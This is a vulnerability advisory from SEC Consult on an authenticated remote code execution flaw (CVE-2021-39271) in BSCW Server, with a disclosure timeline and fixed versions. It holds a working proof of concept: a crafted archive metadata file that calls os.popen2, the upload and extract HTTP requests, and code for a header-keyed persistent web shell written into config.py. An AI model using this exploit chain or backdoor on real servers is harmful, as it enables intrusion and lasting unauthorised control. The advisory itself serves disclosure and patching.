=======================================================================
title: Authenticated RCE
product: BSCW Server
vulnerable version: BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2
fixed version: 5.0.12, 5.1.10, 5.2.4, 7.3.3, 7.4.3
CVE number: CVE-2021-39271
impact: high
homepage: https://www.bscw.de/classic/
found: 2021-06-30
by: Armin Stock (Atos Germany)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos company
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"A versatile system for any field of application
BSCW Classic is in use around the world. With more than 500
functions, it
offers the right solution for every task. Turn your ideas into
reality! Our
proven system has been supporting information flow and knowledge
management at
numerous companies for more than 20 years."
Source: https://www.bscw.de/en/classic/
Business recommendation:
------------------------
The vendor provides a patched version for the affected products
which should
be installed immediately.
Vulnerability overview/description:
-----------------------------------
1) Authenticated RCE
The application allows a user with low privileges to upload
different kind of
archives (`ZIP`, `tar`, `RFC822`) and extract them on the server.
During the
extraction process a special file (`.bscw`) is processed to attach
metadata to
the files created during extraction. This metadata file contains an
attribute
(`class`), which is later used to instantiate a class/call a
function to
create the desired object. As there is no allow-list implemented to
limit
the class/function which can be called, it is possible to call
an
arbitrary `Python` function. During the function call there are
two
parameters provided, where the first is controlled by the
attacker
(a element from the metadata file: `bscw:name`).
Proof of concept:
-----------------
1) Authenticated RCE
The first step is to create an archive with a malicious `.bscw`
file.
$ zip ../data.zip ./.bscw ./*
-------------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE bscwarc SYSTEM
"http://bscw.de/bscw/bscwarc.dtd">
<bscwarc id="local.bscw:80H.sec" server="http://bscw.local"
timestamp="20210630T123242Z" pathsep="\\">
<metadata xmlns:bscw_doc="http://bscw.de/bscw/elements/0.1/doc/"
xmlns:bscw="http://bscw.de/bscw/elements/0.1/" >
<obj ctime="1624530343.92" creator="admin" id="214"
mtime="1625049949.51" path="Its_me.txt" type="text/html;
charset=UTF-8" class="<CLASS/FUNCTION to call>" >
<bscw:description></bscw:description>
<bscw_doc:mimetype>HTML
Document</bscw_doc:mimetype>
<bscw:name>CONTENT OF FIRST PARAMTER</bscw:name>
</obj>
</metadata>
</bscwarc>
-------------------------------------------------------------------------------
Then the archive can be uploaded to a folder (OID: 267), where
the user
has write access to:
-------------------------------------------------------------------------------
PUT /sec/bscw.cgi/267/data.zip HTTP/1.1
Host: bscw.local:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/zip
Content-Length: 1559
DNT: 1
Connection: close
Cookie: bscw_auth="<USER_AUTH_COOKIE>"
PK.....
-------------------------------------------------------------------------------
After uploading the archive the `extract` operation can be
called for the new
created file object (OID: 1179):
-------------------------------------------------------------------------------
GET /sec/bscw.cgi/267?op=extract&id=267_1179 HTTP/1.1
Host: bscw.local:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://bscw.local:8080/sec/bscw.cgi/267
Cookie: bscw_auth="<USER_AUTH_COOKIE>"
Upgrade-Insecure-Requests: 1
-------------------------------------------------------------------------------
During the extraction the function from the `class` attribute is
located
and called.
-------------------------------------------------------------------------------
# File: bs_extract.py
def createArtifact(self, request, tree, user, target=None):
"""create artifact for user and add to target
returns tuple (artifact, oldid) - or (None, None)
"""
# ....
# Locating the class/function
# klass = metadata 'class' attribute
klass_tuple = klass.split('.')
klass_name = klass_tuple[(-1)]
klass_modul = ('.').join(klass_tuple[:-1])
try:
modul = __import__('bscw').module(klass_modul)
except ImportError as ie:
log_arc.warning('ImportError: %s ', str(ie))
klass = 'bscw.core.cl_folder.Folder'
modul = None
if modul and hasattr(modul, klass_name):
constructor = getattr(modul, klass_name)
else:
constructor = None
# ....
# Large if else construct for handling different known
classes
if klass == 'bscw.core.cl_folder.Folder' or bscw_xml and klass in
FOLDER_CLASSES:
log_arc.debug('createArtifact: create Folder (for %s)',
klass_name)
lname = legalized_name(Folder, name)
# ...
# If klass is unknown the following code is executed
# name = metadata object element 'bscw:name'
# user = <bscw.core.cl_user.User>(logged in user)
if constructor:
assert callable(constructor), 'artifact constructor is
callable'
try:
artifact = constructor(name, user)
lname = artifact.set_name(name, autolegalize=True)
except Exception as e:
return self.failed(klass, e, fname=fname)
-------------------------------------------------------------------------------
To exploit this code we need a function which can be invoked
like:
`GADGET(arg1 : str, arg2 : bscw.core.cl_user.User)`.
Fortunately `BSCW Classic` requires `Python 2.X`, which has the
function
`os.popen2`.
-------------------------------------------------------------------------------
os.popen2(cmd[, mode[, bufsize]])
Execute cmd as a sub-process and return the file objects
(child_stdin, child_stdout).
Deprecated since version 2.6: This function is obsolete. Use the
subprocess
module. Check especially the Replacing Older Functions with the
subprocess
Module section.
Availability: Unix, Windows.
New in version 2.0.
-------------------------------------------------------------------------------
The first parameter is the command line which is executed in a
shell context.
The second parameter is `mode` which should be `"w"` or `"r"`, but
it falls
back to the default if the type is not correct (in contrary to
`os.popen`).
-------------------------------------------------------------------------------
Python 2.7.18 (default, Apr 28 2021, 17:39:59)
[GCC 10.2.1 20210110] on linux2
Type "help", "copyright", "credits" or "license" for more
information.
>>> import os
>>> os.popen("whoami", dict())
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: popen() argument 2 must be string, not dict
>>> os.popen2("whoami", dict())
(<open file '<fdopen>', mode 'wb' at 0x7ff98f42c780>,
<open file '<fdopen>', mode 'rb' at
0x7ff98f42c660>)
>>>
-------------------------------------------------------------------------------
Providing `os.popen2` as value of the `class` attribute and
`touch /tmp/foobar_poc.txt` as the value `bscw:name` element, the
following
code is executed:
-------------------------------------------------------------------------------
os.popen2("touch /tmp/foobar_poc.txt",
bscw.core.cl_user.User("UID"))
-------------------------------------------------------------------------------
which creates the PoC file:
-------------------------------------------------------------------------------
root@888df0c0b5f0:/opt/bscw/srv/bscw.local# ls -la /tmp/*poc*
-rw-rw---- 1 www-data bscw 0 Jul 3 07:43 /tmp/foobar_poc.txt
-------------------------------------------------------------------------------
But currently this is a blind RCE, because the result of the
call is assigned
to `artiface` and the method `.set_name` is called on the returned
`tuple`
(see above code).
The extraction generates the following log entries:
-------------------------------------------------------------------------------
2021-06-24 14:33:53 cl_artifact on_archive_import 2464 DEBUG
Artifact.on_archive_import():
bscw.core.cl_document.Document#1142
2021-06-24 14:33:53 bs_extract createArtifact 80 DEBUG
createArtifact for node: ArchiveNode[#3]<touch
/tmp/foobar.txt> path= childs=0
2021-06-24 14:33:53 bs_extract createArtifact 110 DEBUG
createArtifact() node without file/folder: 'touch
/tmp/foobar.txt'
2021-06-24 14:33:53 bs_extract createArtifact 134 DEBUG
createArtifact xml:True isdir:True => klass=os.popen2
2021-06-24 14:33:53 bs_extract createArtifact 178 DEBUG
createArtifact: <os.popen2> 'touch /tmp/foobar.txt'
2021-06-24 14:33:53 bs_extract createArtifact 197 DEBUG
createArtifact: kmodul=os kname=popen2 modul=<module 'os' from
'/usr/lib/python2.7/os.pyc'> constructor=<function popen2 at
0x7f12e7df1950>
2021-06-24 14:33:53 bs_extract failed 366 ERROR createArtifact:
"os.popen2" failed: 'tuple' object has no attribute 'set_name'
(touch /tmp/foobar.txt)
-------------------------------------------------------------------------------
Simple persistent shell (CGI mode)
To allow the attacker to execute commands and get the output of
it, the file
`<bscw_install>/conf/config.py` can be overwritten.
The initial permissions of this file look like (user: `bscw`,
group: `bscw`):
-------------------------------------------------------------------------------
root@888df0c0b5f0:/opt/bscw/srv/bscw.local# ls -la
conf/config.py
-rw-rw---- 1 bscw bscw 83899 Jul 3 10:50 conf/config.py
-------------------------------------------------------------------------------
In the normal setup, Apache is used to run the `bscw.cgi` script
as its own
user `www-data`. But fortunately the `bscw.cgi` binary has the
`SGID` flag set,
which sets the `effective GID` to `bscw`. This allows us to
overwrite this
file.
-------------------------------------------------------------------------------
root@888df0c0b5f0:/opt/bscw/srv/bscw.local# ls -la
var/www/bscw.cgi
-rwxr-sr-x 2 bscw bscw 17064 Jun 18 22:07 var/www/bscw.cgi
-------------------------------------------------------------------------------
The following simple shell can be installed on the system:
-------------------------------------------------------------------------------
import os
e_key = os.environ.get("HTTP_BSCW_K", "")
e_cmd = os.environ.get("HTTP_BSCW_C", "")
if e_key == "{KEY}" and e_cmd:
try:
print "Content-Type: text/plain\n"
import sys, subprocess
print subprocess.check_output(e_cmd.decode("base64"), shell=True,
stderr=subprocess.STDOUT)
except Exception as e:
print e
sys.exit(0)
-------------------------------------------------------------------------------
This can be done with the shown command:
-------------------------------------------------------------------------------
echo "<BASE64 encoded python shell code>" | base64 -d
>> ./conf/config.py
-------------------------------------------------------------------------------
After installing the shell, a simple HTTP request to the public
endpoint can
be used to execute the command and get the output:
-------------------------------------------------------------------------------
GET /pub/bscw.cgi HTTP/1.1
Host: bscw.local:8080
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
BSCW-K: <KEY>
BSCW-C: <@base64>ls -la<@/base64>
-------------------------------------------------------------------------------
The response of the executed command "ls -la" is directly contained
in the
response of the web-server.
-------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Sat, 03 Jul 2021 13:13:10 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding,User-Agent
Content-Length: 806
Connection: close
Content-Type: text/plain
total 96
drwxr-xr-x 1 bscw bscw 4096 Jul 3 08:41 .
drwxr-sr-x 1 bscw bscw 4096 Jun 18 22:07 ..
lrwxrwxrwx 1 bscw bscw 52 Jun 18 22:07 20190717-1636-2b48861 ->
/opt/bscw/lib/bscw-5.2.3-2b48861-py27/bscw/resources
drwxrws--x 4 bscw bscw 4096 Jun 18 22:07 auto
-rwxr-sr-x 2 bscw bscw 17064 Jun 18 22:07 bscw.cgi
-rw-r--r-- 1 bscw bscw 2966 Jun 18 22:07 error401.html
-rw-r--r-- 1 bscw bscw 9771 Jun 18 22:07 index.html.de
-rw-r--r-- 1 bscw bscw 9586 Jun 18 22:07 index.html.en
-rw-r--r-- 1 bscw bscw 9765 Jun 18 22:07 index.html.es
-rw-r--r-- 1 bscw bscw 9791 Jun 18 22:07 index.html.fr
-rw-r--r-- 1 bscw bscw 102 Jun 18 22:07 robots.txt
lrwxrwxrwx 1 bscw bscw 52 Jun 18 22:07 static ->
/opt/bscw/lib/bscw-5.2.3-2b48861-py27/bscw/resources
-------------------------------------------------------------------------------
Vulnerable / tested versions:
-----------------------------
BSCW Classic 5.2.3 was used to find the vulnerability.
The vendor confirmed that following versions also affected by the
vulnerability
BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2
Vendor contact timeline:
------------------------
2021-07-03: Vendor contacted via security@, asked for a PGP Key
/
SMIME certificate to encrypt communication
2021-07-06: Vendor contacted via support@, asked for a PGP Key
/
SMIME certificate to encrypt communication
2021-07-06: Vendor provided contact and PGP Key, Sent report to
vendor
2021-07-06: Vendor confirmed the issue and is working on a
patch
2021-07-07: Vendor provided a hotfix
2021-08-19: Vendor notified licenced customer about the issue and a
patch
2021-08-27: Coordinated release of security advisory.
Solution:
---------
The vendor provides a patched version for the affected and
supported products
which should be installed immediately.
Additional information can be viewed at the vendor's support page:
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult, an Atos company
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC
Consult, an
Atos company. It ensures the continued knowledge gain of SEC
Consult in the
field of network and application security to stay ahead of the
attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration
testing and
the evaluation of new offensive and defensive technologies for our
customers.
Hence our customers obtain the most current information about
vulnerabilities
and valid recommendation about the risk profile of new
technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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EOF Armin Stock / @2021